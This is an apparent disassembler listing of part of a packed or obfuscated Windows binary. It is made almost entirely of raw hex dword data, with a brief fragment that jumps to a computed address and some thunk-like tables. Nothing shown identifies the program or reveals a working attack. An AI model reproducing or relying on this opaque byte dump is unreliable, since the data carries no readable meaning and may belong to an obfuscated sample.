dd 76E94ECAh, 3A40322Ch, 9C4796Ah, 0D7770000h, 0EBA11894h
dd 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh
dd 0A8246508h, 86427D31h, 0A723580Fh, 71D1B8C4h, 956BDA41h
dd 79328C18h, 92395044h, 0A122A95Dh, 2A26E702h, 0C396336Bh
dd 640CE122h, 424h, 562ADF5Ah, 7F5C78ADh, 7C4402A5h, 0F4036DCCh
dd 7C883AF1h, 0F06C6DCCh, 7C972BDEh, 0F36F6DCCh, 70EFDCFh
dd 0BF67F633h, 19D28963h, 3AF168E4h, 5517DE0Fh, 7975EB40h
dd 25CB3092h, 7C58D494h, 7F23B688h, 3FD62744h, 0AAC7C29Ch
dd 6C9E15A9h, 3AA24BF0h, 0C2D24031h, 91DD1h, 0DB1ED000h
dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h
dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 42B012F9h
dd 57546BDAh, 447932CDh, 5D923950h, 0DA0FB883h, 497A01FDh
dd 2A930AAh, 26E7B0CDh, 6336B2Ah, 378h, 7C5E0244h, 0EA096DCCh
dd 1E2CDFF1h, 0E667F633h, 42E9708Ah, 8E82BB72h, 7BFAAE92h
dd 0EE38FC4h, 0FFAD407h, 9E15C84Ah, 0A4E385FCh, 6D781BC0h
dd 144031h, 89597h, 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh
dd 559438BFh, 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h
dd 0EBDE5A8Fh, 42A81A11h, 4F4C6BDAh, 447932C5h, 5AEDDE50h
dd 93D073ABh, 22CD42A6h, 0A0D58E45h, 6D0497F4h, 72E61BC4h
dd 6B2E66A7h, 6F95D633h, 4BC9E8C2h, 180EC297h, 30000000h
dd 0DDC906A9h, 0D7A88459h, 7C4002A9h, 0C8A46DCCh, 2CA36B3h
dd 2860000h, 6DCC7C5Eh, 0DFF1EA09h, 8D6AA75Ch, 20C6956Bh
dd 12EEF8E5h, 4D771371h, 0A24C7330h, 0B58467F6h, 462AD611h
dd 0DBF57131h, 588D3605h, 263F8386h, 5BD79426h, 0D90EB57Eh
dd 0F82DD665h, 72B153E6h, 4D7A955h, 0F67A265Bh, 0A5518A3Fh
dd 0BA59ACC1h, 7A314F21h, 942626C8h, 451B302Ch, 165B0546h
dd 21CAC19Eh, 183C38ECh, 32FBDEB3h, 553E5640h, 7AAh, 0EE6AAD5Dh
dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh
dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA43833Fh
dd 0BE86636Bh, 74C996D7h, 2B104900h, 4F2C5C34h, 0F9B0DB84h
dd 6DCCA249h, 0E195B1ADh, 4016CC8Fh, 57745089h, 2EE23DCh
dd 969F3645h, 3904B8EDh, 336A5778h, 0E58h, 2ED36600h, 482501F5h
dd 1E2407Ch, 28C0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F6330D2Bh
dd 6779F567h, 0E4F62BD4h, 6277B055h, 2DDC02DCh, 9425B595h
dd 0D1B5EC71h, 0FFE55A2h, 0E69D1633h, 0E9F0C5B1h, 6831D8F2h
dd 0FC9E1530h, 0CCD887CFh, 1C31232Bh, 8DB86F66h, 1502249Eh
dd 8064C09Eh, 7B49094h, 4031D078h, 0DBF7E0B4h, 8E000006h
dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh, 0D9CF8BCAh
dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h
dd 6BDA3CB2h, 32CF5552h, 0DE504479h, 6B35CB00h, 18255022h
dd 0CC4BD171h, 7ABB6E6Dh, 1E550B82h, 0F5AE2542h, 0FB5D4C0h
dd 0F8AD2CD8h, 0E576D3BFh, 546E74Eh, 3C311511h, 8B4E8827h
dd 0F7C499DAh, 0DC9F1B50h, 336AFF11h, 14F1h, 964C0F00h
dd 571CA665h, 7CF86DCCh, 40A98358h, 0FCh, 7C5F028Ch, 0EB0A6DCCh
dd 0A55BDEF0h, 0C99E826Eh, 33DCF4B7h, 383467F6h, 0B7EC9326h
dd 8DCB7403h, 2F1AEC41h, 5EA73067h, 392988B5h, 9A671B37h
dd 9B8E607Bh, 9E155BDEh, 59790546h, 0DE61EFE2h, 2004F025h
dd 12DF1744h, 0D5E68F74h, 0C12602F8h, 40318FF0h, 0F7534450h
dd 0AA000005h, 9209C508h, 0B027A3DAh, 8D0CC0F9h, 9A219DDAh
dd 503B7F6h, 9AD98BF9h, 0B5F6971Eh, 91CC82F9h, 0B0E59E1Dh
dd 7C2F11FCh, 6BDA3DC6h, 32FBC11Eh, 39504479h, 32A95D92h
dd 3655417Ch, 0DB14B991h, 0FB00BF7h, 2C4F4C70h, 9ED38C95h
dd 359E6F2Ah, 0F00E336Bh, 33888939h, 0DCF16D92h, 774h
dd 3940D600h, 8C000000h, 50447932h, 835D9239h, 2DD910B8h
dd 7CEA5853h, 0E0A6DCCh, 0D1711832h, 356DCC7Ch, 47622439h
dd 0AF58D978h, 2F45BE7Ah, 6B000000h, 0CFFC3DF0h, 0DFB0D9ABh
dd 0C4607D78h, 206104D7h, 36CBF074h, 0ACB0256Eh, 631C97B4h
dd 0AA13422Eh, 506DCC62h, 0EC939231h, 122E631Ch, 79321096h
dd 7CE75B4Eh, 2EDD6DCCh, 6DCC7C94h, 20FCF470h, 0FCAF2A44h
dd 0B259D3BFh, 6DCC7C10h, 7F5C78F4h, 38A3327Fh, 33356326h
dd 51CD67F6h, 0CD04BC7Fh, 5A11C8B0h, 7932A925h, 54635044h
dd 0B5289A91h, 0B5CC9425h, 4420D413h, 7F2A4420h, 9E1FFABEh
dd 4712EC48h, 0BBB76BA0h, 48FFBA9Eh, 67209713h, 43461832h
dd 9E1FEEFFh, 403E1B17h, 65776473h, 2F9791A6h, 4CF16D94h
dd 5E2B2691h, 0AFA0091Dh, 62000004h, 6AF16DB0h, 48CF8BC2h
dd 65F468A1h, 52C985C2h, 0FDEB5F9Eh, 72B15381h, 4D8E3FB6h
dd 29640A91h, 487D26B5h, 0E4A79994h, 6BDA3E5Eh, 327339B6h
dd 0C708A979h, 0BF7B57DBh, 805A8F38h, 29DD12B9h, 0CDBF9244h
dd 3DFB47Dh, 54638E6h, 92FE9355h, 6647C91Eh, 5E8A3C21h
dd 995209DEh, 85DBB064h, 2AD60FB6h, 0F3923146h, 8A97932h
dd 9C68DAD1h, 908C6DCCh, 0EE5BC0B4h, 0AFD16DFDh, 1793AF93h
dd 0ACB60845h, 3DFF23A9h, 0F5965720h, 4876336Ah, 0D4000000h
dd 4C1EBD5Ch, 6727F01Fh, 3C115953h, 4E5C6524h, 219867FCh
dd 0B5F0966Eh, 74C6BC91h, 3C4A0DB5h, 7EC4C794h, 96943C4Ah
dd 0CF86E29Ah, 0EA04E01Bh, 0CC80BB6Fh, 3C4AA71Dh, 9ACF7894h
dd 0B8F3971Eh, 3D4DBCCh, 5C310000h, 5D4C1EBDh, 67FC1104h
dd 0BBDAC6A2h, 8823CF04h, 34C39837h, 0ABD5A7h, 94239742h
dd 0CFB1C6A2h, 13FA87DCh, 5E4D1F9Eh, 9E13A9E4h, 8C402400h
dd 468527B2h, 498A3B5Ah, 26AD502Dh, 68209BB5h, 0D66C1F31h
dd 2E9E13A9h, 48431532h, 9423C41Bh, 14B35FBBh, 53453170h
dd 0AB4A01A0h, 6D1DE627h, 0F8DC3488h, 0A47E23E6h, 1C188A33h
dd 3D7219A0h, 0F44E3D23h, 108A73E3h, 0E3D76B1Eh, 332F8A73h
dd 4D4C3A0Fh, 98ED6196h, 89805A81h, 80438EA0h, 4F160A66h
dd 8C63F5F7h, 0B5749F48h, 8C63F50Dh, 0BD698DE9h, 772B6A1Eh
dd 0B06DAC60h, 5F48740Bh, 92498D24h, 0D1C6A3DAh, 51BBA100h
dd 47E0h, 4D72A00h, 9BD88B5Bh, 0BB678BE7h, 7C28691Ch, 5EFFDCF8h
dd 748E957h, 438714E2h, 5F83CEDDh, 2EB59E8Dh, 0D55167FCh
dd 2DCC7A21h, 0AA61943Ch, 670A8175h, 7E1D7A26h, 9330D9E7h
dd 0E4B8F9FCh, 0D498397Ah, 0F2000000h, 245D04D7h, 95D38C47h
dd 67A582BAh, 3DDF96Fh, 0AB579238h, 1E5B10C7h, 58E35D49h
dd 0DC5774B5h, 9E3DE928h, 0C5C4B0E5h, 8A38F31Eh, 6A6DCCC6h
dd 579437EEh, 2FABC7ABh, 0CCBBF178h, 6CA14A6Dh, 0B80F5992h
dd 39B92B50h, 8BC09A24h, 0E3195C3Ah, 0EE2FE2FBh, 15421E02h
dd 52A8CEAFh, 82390ECBh, 13E094C9h, 605D704h, 67FC49C5h
dd 0DC29A581h, 0D779953Dh, 0BFF4A5E2h, 0E8E2C9A3h, 0FC9E0AF9h
dd 0DA8B4E20h, 1D9CC499h, 29B02C6Bh, 0C6A34887h, 4E40353Ah
dd 2304D56h, 43E30000h, 17CD4C00h, 38ED6CE0h, 17CC4BFFh
dd 35D75EDAh, 384442F6h, 73E726CAh, 4C0041E4h, 6ADE19CDh
dd 4BFF34EBh, 15AD5C60h, 0F16BDA39h, 7E3228F4h, 530C8B3Fh
dd 0D71CAA1Eh, 0E9AC7296h, 4D9C98Fh, 77895261h, 0FC7D9FB4h
dd 79185567h, 0CAC0DE14h, 65D7CBA0h, 3C471CA6h, 587CF894h
dd 6607D2ACh, 0D8F57125h, 3C47932Bh, 0A2417294h, 7AFA8647h
dd 0F36639h, 0E1580000h, 2105F12Eh, 7932804Ch, 5BDE5044h
dd 0FB376A7h, 0E76DCC7Ch, 0C992678Bh, 0C19B4D27h, 0D5F1D50Ah
dd 1F37A21h, 0FF16DCCh, 3387A61Ch, 0A2473E92h, 5608D69h
dd 74EA5AF2h, 25DE5572h, 6BD3CF0h, 2AE1FFD1h, 9233BC98h
dd 0DBCBA07Ch, 90316C61h, 20B4402Eh, 0C01BBA4Bh, 0D33EFBAEh
dd 6CC89803h, 0E9DD0EF0h, 0F029E072h, 9A3B2004h, 58A5C2D9h
dd 90CB7FC1h, 83FE5E4h, 33F608ECh, 9E15BCE6h, 89FE9B80h
dd 5A5F015Dh, 0BC6B5FECh, 0A4C0A47Fh, 155D0FCAh, 30C5E39Ah
dd 9C10341Fh, 0BF2C6B1Dh, 40343718h, 0B776034h, 0BE000001h
dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh
dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h
dd 6BDA3AC2h, 32FFC522h, 0C4FDA47Eh, 6F236405h, 0DC5BCFF3h
dd 603AEE23h, 0DEFB34D9h, 44793246h, 5D923950h, 0E310B883h
dd 0CC7C9A28h, 0C29E7A6Dh, 8D6552CEh, 0EB48C61Ch, 0A17B4318h
dd 8F9CC4ACh, 6C1F7047h, 6DCCF5D6h, 390E322Eh, 21C50DACh
dd 0C405A872h, 3B6754D0h, 334D2929h, 0CA78334Dh, 2A6DCC3Dh
dd 0B172192Eh, 5567F672h, 0F5AE2DD9h, 7663DFCAh, 0AA619426h
dd 94267618h, 0F47020FCh, 49825CD0h, 0D710D44Fh, 0EB688599h
dd 4413FF34h, 0F411C3F7h, 35FC932Ch, 56E5598Eh, 0D8C78ADh
dd 1D431D5Ah, 0EE076930h, 4433CB31h, 0B41A28FEh, 7B76D8E1h
dd 0F4ACAFB4h, 31A36378h, 54E7E382h, 0DD5673AEh, 0BE3DF126h
dd 9942C705h, 0FCA8E387h, 49B15378h, 0F4A00B7h, 3563F33h
dd 0A6000000h, 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah
dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
dd 52CF5541h, 0C281E289h, 4, 8704EA83h, 248B2414h, 0E6895624h
dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 5E08950h
dd 4, 8704E883h, 895C2404h, 3F682434h, 5F061638h, 390E68h
dd 24248900h, 4240481h, 5E000000h, 89F98951h, 0C8B084Eh
dd 4C48124h, 8B000000h, 89532434h, 4C381E3h, 83000000h
dd 1C8704C3h, 34FF5C24h, 0C4815F24h, 4, 0FA384BE9h, 8A9D14FFh
; ---------------------------------------------------------------------------
or [ecx-3Bh], dh
loc_5AFC93: ; CODE XREF: sub_5AEB29:loc_5AEC19j
mov eax, 61647A4h
add eax, ebp
jmp eax
sub_5AEB29 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 19F43D82h, 8BD95EAh, 1FA75C2h, 69C8D6E9h, 7B5C4A1Eh
dd 4479FD2Eh, 25E51D1Eh, 19AD9645h, 104852BAh, 0B08DAFDh
dd 13D3F6E6h, 1C16BF94h, 0BA35E2Bh, 720B46Eh, 33B37AB9h
dd 11E303C7h, 8DB4866h, 21C043E8h, 0F7B22D3h, 36CF123h
dd 68AC1AD8h, 1AAE9h, 0DA3BE200h, 0D52C2703h, 0B198D31Ah
dd 0CAD1D746h, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh
dd 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch
dd 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h
dd 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h
dd 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0)
dd 84970000h, 0F033A26Dh, 0EE69h, 0Ah dup(0)
dd 0E9000000h, 0FD8h, 164C0368h, 0AAE906h, 3068FFFBh, 0E906164Dh
dd 0FFFB00A0h, 164E8A68h, 96E906h, 5868FFFBh, 0E906164Fh
dd 0FFFB008Ch, 16506F68h, 82E906h, 4B68FFFBh, 0E9061651h
dd 0FFFB0078h, 1651F068h, 6EE906h, 6D68FFFBh, 0E9061652h
dd 0FFFB0064h, 16537168h, 5AE906h, 0EA68FFFBh, 0E9061653h
dd 0FFFB0050h, 16548168h, 46E906h, 4F68FFFBh, 0E9061655h
dd 0FFFB003Ch, 16560F68h, 32E906h, 5868FFFBh, 0E9061657h
dd 0FFFB0028h, 16589968h, 1EE906h, 3A8DFFFBh, 0F6EADB88h
dd 3F96673Ch, 0EFE5D88Dh, 4595683Dh, 9E66D68Bh, 580DC71Bh
dd 0E5BA7465h, 570CBE18h, 0E6BB7566h, 69087306h, 0EC1DDE8Fh
dd 3D5AA652h, 8494604Bh, 867F2020h, 0A5F49B55h, 961AEDB6h
dd 2EE6AA3h, 0B2A0014Eh, 7288F3CAh, 0F51DD894h, 163D8A09h
dd 0B911B869h, 0D936F0Ah, 0FCBE9390h, 31h, 5EA95A44h, 17C8453Bh
dd 0B0416A1Ah, 7803FA82h, 1DD8456Ah, 1562610Dh, 11B8447Eh
dd 8C47E251h, 8C33EDDDh, 0BF25BDDEh, 0AEBE93B8h, 107h
dd 4D075CF2h, 29E3F746h, 0AB085BAAh, 66510B3Eh, 17C844D3h
dd 0BFBE9282h, 0FAA76172h, 0C84A380Dh, 5F194A17h, 0D690C332h
dd 0F3E856B7h, 509D24DEh, 441044F6h, 4FD0026Dh, 25D61DD8h
dd 0B832B7DAh, 0ADEE9E11h, 682236C7h, 334BEE99h, 1A0A11B8h
dd 0D30A7746h, 335EF17Eh, 7F711B8h, 3986345Bh, 61446D27h
dd 53AAD280h, 0CAEA9AA8h, 0C231DD17h, 8E651F33h, 79FF92DDh
dd 97560BA5h, 0BADD6748h, 317ED2ACh, 0BB676620h, 0B140B3F2h
dd 3EC7E8A2h, 8954520Ch, 0CFE21638h, 0D6834CCh, 6590000h
dd 9AAEFF54h, 0B42B3E0h, 0A3B90C59h, 151A4F1h, 5A2A1A47h
dd 9CC983D7h, 0D17E3829h, 6B38EAE4h, 0C28F499Ah, 55E48FE2h
dd 1DDE91h, 0A95AB266h, 3150025Ch, 451F3285h, 463617C8h
dd 0F0AAA025h, 470152A3h, 0DD7C0778h, 9B17C844h, 401B4F82h
dd 9686EC5Eh, 601B90D5h, 3ADECB59h, 31EF52F8h, 38318698h
dd 4896D49Dh, 0C330BF1Ah, 17C844B4h, 6F02F5A1h, 0E617C845h
dd 1D3CC736h, 3817C845h, 5EA9184Ch, 1DD845CCh, 1B3EC93Ah
dd 3A11B845h, 80FFB9A9h, 57DD7ED2h, 4E7DD006h, 0ED94C094h
dd 0B8448BA2h, 0D48D4411h, 93B798FEh, 0B589BEh, 5AE10000h
dd 0B93F6C3Dh, 3E5F390Fh, 0B3DA94C7h, 0C152A764h, 0DA51B2D3h
dd 641E3491h, 174D125Dh, 263517C9h, 95C6376Ch, 0DACCB38h
dd 0FDA917C9h, 9BC72AA9h, 93EF0CE3h, 0A7776472h, 8AF5CE8Fh
dd 1DD90E48h, 81721FCFh, 9B22DCF4h, 1F43AEEFh, 9AE79867h
dd 58068D47h, 0A5A1B017h, 0C8B417CBh, 9C568CF9h, 5385F4C7h
dd 234CFA99h, 0F6B0A2h, 0E215790Fh, 3B9E3635h, 2C00000Ch
dd 0E1D48133h, 8D6035EFh, 0ECD98638h, 0A4113EF0h, 0CD9FF4AEh
dd 763022E5h, 0CB85DC29h, 7D2F2796h, 0CC86D528h, 39C61597h
dd 1DDE9216h, 5CF9A13Fh, 0A6174C06h, 4D075AB5h, 5C1E4C19h
dd 0F5464D07h, 7EDD8986h, 38A594A2h, 0C885AACDh, 0B2FBAB17h
dd 58A30053h, 17C88639h, 6F24701Ch, 0D21DC46Ah, 17C885BFh
dd 43BAE696h, 862847B4h, 412D17C8h, 3E58A320h, 211DD8A8h
dd 6A014E75h, 6511B864h, 0F95F33EEh, 0E8BE9398h, 69h, 3AF4EC99h
dd 1A483971h, 8BDC8B62h, 8B32ECDEh, 458514DFh, 24D017C8h
dd 67CE8C7Bh, 0BC491DD8h, 36E4EBA5h, 7518636Ah, 5A11B822h
dd 0F2784AE3h, 0E3BE93D6h, 31h, 0F584EF80h, 6011B819h
dd 48BFEBB4h, 0E08B621Ah, 1DD8692Ah, 12CCFD6Ch, 969EBF6Bh
dd 0F99CE7E6h, 0D611B820h, 6EF4CE67h, 5FBE93DBh, 7, 81413A3h
dd 48970000h, 0DC8B621Ah, 0B71A708Bh, 0DE10767Bh, 0C9148413h
dd 0A516D117h, 9A8B32DBh, 106A7FBh, 1DDE9569h, 2EBB32E2h
dd 0BF2E631Dh, 4AABD28Ch, 0A251A0E4h, 4A49FB53h, 0EFF4D39Ch
dd 7A17C849h, 95C6338Ah, 243786DBh, 5C02636Ah, 802ED928h
dd 0BF11ABC2h, 53AD9CFh, 6968E830h, 0AE1D3h, 0CB7DD200h
dd 77312796h, 0D082DB2Ah, 681A3283h, 0DE98CA3Bh, 30F3C3B1h
dd 0C233601Ah, 2D80D58Fh, 0CB3A6719h, 33B1DE98h, 934453A0h
dd 0B7111DDEh, 46375EC3h, 0AF9317C8h, 0E79BE8D7h, 0D31DDE8Ch
dd 0AB895AB8h, 0C0E11C55h, 169BC8B4h, 125D5428h, 17C85572h
dd 97E6DDC9h, 0D8277B44h, 9DA60980h, 3A299CC9h, 0B2A00180h
dd 0AF4F56BBh, 2B1EE66Fh, 82712571h, 0B1C6F4F5h, 18631411h
dd 5853679h, 56F30DCh, 0AA59AA19h, 358BAE59h, 0DACA0585h
dd 853648E7h, 40610D05h, 0E5DC96C5h, 0E7884298h, 0C11C2F7Eh
dd 0AED58Fh, 4DE22D54h, 81858536h, 0AD5AA9DDh, 8B9542E3h
dd 0CD8AD8B3h, 0FA34521Bh, 0D5D3C3B1h, 6E46A020h, 1355EB6Eh
dd 400000Ah, 794C19CBh, 5F8AD67h, 84711ED0h, 0FCC99648h
dd 5772CE6h, 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h
dd 71FE4D4Fh, 1DDE93DEh, 4831D977h, 0E08B621Ah, 1DDE8E3Ch
dd 41B0FFEFh, 0BA0B5812h, 7100EFA9h, 701EA55Fh, 7BC6E215h
dd 0F2BBC9D3h, 0AAD280E1h, 0E280A853h, 0C4C317C7h, 8FB01867h
dd 3CB3DF70h, 0AFE49EADh, 5C530D3Eh, 8706B80Dh, 0A00192DBh
dd 803A29B2h, 0B992DDD4h, 1011B239h, 98BEC55h, 55105FDh
dd 520C3FAEh, 1BB0E5Bh, 0DA8BD482h, 0AB9DF8EBh, 9D4EA5F1h
dd 85D53F52h, 99661605h, 0C3D09143h, 19D30574h, 24A3CC7Ah
dd 585D511h, 2F195B9h, 9C1D9175h, 0C0D6B10Bh, 0DF91CB81h
dd 4F32E0h, 0E376012Fh, 72FF7037h, 0A78DCE82h, 6A7908F7h
dd 0C112E3B0h, 0CA378807h, 35E1E092h, 0A5D9856Ch, 8081A14Eh
dd 0CABA0586h, 88FC62C3h, 0E092CC39h, 805235E1h, 0A0E2159Dh
dd 95E2E18Ah, 0FF69D54Fh, 2FF6F4A0h, 55FA7208h, 8FCBE56h
dd 0DAED0000h, 568A7B28h, 0DFF6C79Ch, 4F85782Dh, 0E5F5C89Dh
dd 3E06762Bh, 0F8AD677Bh, 451AD405h, 0F7AC5E78h, 461BD506h
dd 0C9681366h, 8C1DDE94h, 0A95A4632h, 0C8453B5Eh, 276A1A17h
dd 21FB276Ah, 0E1E48DA2h, 4A9938F2h, 0E5ECA6BBh, 3E8D7839h
dd 695FD84h, 0EFA9BA6Bh, 79AA30A2h, 0C9BB883h, 0EF000000h
dd 1B3AB5Ah, 4A41C60h, 47640000h, 0C9103EE5h, 0A55358CEh
dd 269171F5h, 17C8DA13h, 0AFFE5242h, 0D8FE1644h, 3515011Dh
dd 0C487196Ah, 8DF15DE4h, 0DD8FC736h, 5C6708B6h, 0BD01C10Fh
dd 67661644h, 22756918h, 0A14D742Eh, 7F20CEF5h, 49B8CC72h
dd 0B04C21BEh, 5D54403Eh, 5401BB10h, 0FA157261h, 7990A5CFh
dd 771AED92h, 0DE328894h, 0CB84622Eh, 0F1BB3321h, 820DA72h
dd 0BE110000h, 7266570Ch, 0C31AEBB8h, 5B714411h, 0D909FCA9h
dd 3202721Fh, 0F4A15B6Fh, 4916D001h, 0E3B0627Ch, 5A07C112h
dd 0DD7C075Ah, 781DDE95h, 0AB5A2ADEh, 660DECB5h, 49A6A59Ah
dd 6271541Dh, 86DC29A8h, 2C1297CCh, 691A6958h, 0C8F77B1Eh
dd 0D52ADA17h, 1FA8C983h, 1DDF3FD1h, 58A71606h, 0AE3D5CA7h
dd 6C1811B2h, 0D791C243h, 6E283B8Ah, 3C40EE4Fh, 0F70E3AC5h
dd 493517C8h, 1ED80B7Ah, 0DBF38271h, 0B3FCAA29h, 48470152h
dd 0A1538AF7h, 0DA2B7422h, 621C2D88h, 5E3AF5Bh, 0E21F502Eh
dd 7B67FD7Ch, 6C000007h, 2194C173h, 0CD20752Fh, 2C99C678h
dd 0E4D17E30h, 0D5F34EEh, 0B6706225h, 0BC51CE9h, 0BD6F6756h
db 0E8h, 15h, 0C6h
byte_5B067F db 0Ch ; DATA XREF: sub_559C84-496Ao
dd 79065557h, 1DDE95D6h, 4839E17Fh, 0E08B621Ah, 1DDE8E48h
dd 7C1B68FBh, 0D911B1FCh, 0FB8A792Dh, 94612EE8h, 9BFE853Fh
dd 8FE0CFB7h, 0FC0493E0h, 0A55111B1h, 238392E2h, 426BE8C3h
dd 0C1678BC5h, 0C3F00B17h, 2A5D94D4h, 0E08CA8C9h, 1A7B390Ah
dd 6C0487E2h, 6FEh, 7926D8EFh, 0C59A548Ch, 762BDDF8h, 0C69B4D87h
dd 7C29E3F7h, 65753808h, 0D207F6ABh, 647A4B18h, 0BB10DDB2h
dd 1505401h, 0DE96E376h, 24D4721Dh, 464D075Ch, 0A32AE4F7h
dd 1C2DBC3Bh, 0EEAF5B62h, 5A893CF5h, 79DFF3A0h, 68B883B3h
dd 7, 2BC13C0h, 5C970000h, 0E3464D07h, 4BB8077Fh, 1DDE8F23h
dd 540E42AFh, 54E0812Dh, 0B0AC59A8h, 8AD37FFEh, 3FF9EADBh
dd 5082EF40h, 224BF796h, 0A0F5AFA3h, 0F2AC9E4Bh, 621A48A9h
dd 8FDC8Bh, 0E611B1FBh, 0E6943BF5h, 0F0D39C88h, 0C843CA83h
dd 78473717h, 0AE687A07h, 0DA8CC20Fh, 125B07B3h, 0B9E6A0B3h
dd 31AC4D4Ah, 0F15422F9h, 347D29DBh, 0C9C882D1h, 0D70B667Ch
dd 9CC8761Dh, 0C7AE94F5h, 0A6585E07h, 239AC611h, 520827D4h
dd 0A14D0B9Bh, 5740300h, 0C7731AD4h, 5F8F21A6h, 0AA5711ABh
dd 0B26C5EB9h, 0C7B7BDDEh, 306F86F1h, 17ADACE8h, 5FAh
dd 0D42F4EBh, 0A1EEA8A0h, 1A47F954h, 52FFB1ABh, 0E0B56F63h
dd 0F1E1A48Ch, 469B6A37h, 0F0E6D78Ch, 0AFA4113Eh, 0AD3CA0F5h
dd 0DE982F42h, 0E0C8261Dh, 0B6AC075Ch, 6E29D5FCh, 91E4FD5Bh
dd 6A693D76h, 6F0EC81Bh, 26DD9807h, 88527769h, 8A918C5h
dd 5A73CEFDh, 297D29A8h, 0A800667Ch, 7F1B883h, 39000000h
dd 13913h, 75C9700h, 6FEA6F4Dh, 3130D5F3h, 5819Bh, 0AB5D7200h
dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h
dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 97E47300h
dd 0D7711DDEh, 4D075C23h, 2AE4F746h, 19C3BA3h, 0AEA4FF54h
dd 7521CDF4h, 0B424AA20h, 1215B883h, 6D000000h, 0D513h
dd 5181F000h, 1394D697h, 0CAh, 621A4897h, 8F48E08Bh, 0BFB1DDEh
dd 493D2184h, 14330D7Ah, 27B417C2h, 9A557C2Eh, 10F6E8Eh
dd 2F1A560h, 0A240E275h, 0CF83730Bh, 19736AD9h, 23B9B8E2h
dd 4EAh, 7DD284DBh, 315E1830h, 8AD789C4h, 226F213Bh, 90C57FD3h
dd 151D49Ch, 0B6AB1A47h, 56A7FCh, 9FB4014Eh, 9D2CB0E5h
dd 0DE993F52h, 0D0B8161Dh, 8B621A48h, 0D893D2E0h, 7665141Dh
dd 39C615BCh, 11B7F716h, 5A034F3Fh, 15489DAh, 454C18D2h
dd 87F6CD99h, 4DF99852h, 0C60D410Ah, 0DE7FC427h, 597996E5h
dd 1DAE2E2Fh, 0DAF9B3A5h, 588B782Ch, 0CD08FD9Eh, 1CE7A41Bh
dd 0F9A6A13Ch, 6F402546h, 11B829DDh, 4916D003h, 10AF617Ch
dd 45978h, 1A481000h, 48E08B62h, 0FB1DDE8Fh, 3D21840Bh
dd 7A097A49h, 0B1FB6A0Dh, 0C83BEB11h, 11B1FAA9h, 249FC0ACh
dd 7E3026D3h, 0BD0A53FFh, 17C21363h, 0C9229884h, 0F7E219D2h
dd 41CDC74h, 0BA0D0000h, 766A5B08h, 0BF16E7BCh, 6F65580Dh
dd 0C515E8BDh, 1EE6560Bh, 0D88D479Bh, 653AF4E5h, 0D78C3E98h
dd 663BF5E6h, 0E988F386h, 6C1DDE99h, 1A4826D2h, 4CE08B62h
dd 0FF1DDE8Fh, 21A05A6Eh, 23D22175h, 0DC297630h, 0DA352C87h
dd 0D27ED284h, 0FDE44AABh, 0B1FADF72h, 0CB867611h, 0B5DA7E8Dh
dd 368DD9F2h, 0C2F2CAC5h, 4BCAF233h, 96F17365h, 0ADEED956h
dd 0C79BC15Ah, 5FCA817h, 5AA96378h, 0B2FBB5ABh, 17D102F3h
dd 55291578h, 0ED01A15Eh, 2F12CC04h, 6D1AD1C5h, 723F28Fh
dd 358ECF83h, 0AA611CCAh, 0D43B211h, 0EDDD2C53h, 363E5F33h
dd 80FFB1A5h, 0D5287ED2h, 1BE83166h, 35C0098h, 0FA4D0000h
dd 0B6AA1B48h, 0FF56A7FCh, 0AFA5184Dh, 555A8FDh, 5E26164Bh
dd 98CD87DBh, 257A3425h, 97CC7ED8h, 267B3526h, 0A9C833C6h
dd 0AC1DDE9Ah, 75C6612h, 0E4F7464Dh, 0CE74752Ah, 26BC47B6h
dd 411DD85Ah, 4AE12E55h, 9411B82Fh, 0B0FD843Eh, 9EB13E9Bh
dd 0B711B82Eh, 3FF49BC7h, 1591A540h, 0A92F039Eh, 98BE93C9h
dd 4Fh, 621A48F0h, 45E2E08Bh, 0D5241DD8h, 94DFCE80h, 11B84505h
dd 79FBA450h, 6159368Dh, 113086A6h, 0A42BE5FBh, 0D201AAF6h
dd 23DDF481h, 42FC4D9Ch, 0D37A4D0Eh, 0FC11B910h, 50D6AC45h
dd 41BE92EBh, 106h, 53E691E2h, 211B905h, 5C214912h, 7764D07h
dd 3D5617D1h, 0A120DAF0h, 3E45FF54h, 0F47FDCEFh, 17C84565h
dd 615004F0h, 7B02BC14h, 0E4D78ECFh, 4549E893h, 600C17C8h
dd 4977C83Fh, 0D80B17C8h, 4F84711Eh, 7F611E95h, 453E808Fh
dd 63C6CD8Eh, 0CB3887FFh, 1DD7F9D5h, 6C6D22D2h, 80EFBEC6h
dd 5ABB883h, 0ECD9254Dh, 0E6943BF5h, 0B6A742C5h, 0EE9E17CAh
dd 0CF0170FFh, 85C06E15h, 3988B40Fh, 0F1D49D9Ch, 897A27E1h
dd 842DE7FCh, 21975181h, 0E215F6C8h, 13F58B0Eh, 4000002h
dd 794C19CBh, 5F8AD67h, 84711ED0h, 0FCC99648h, 5772CE6h
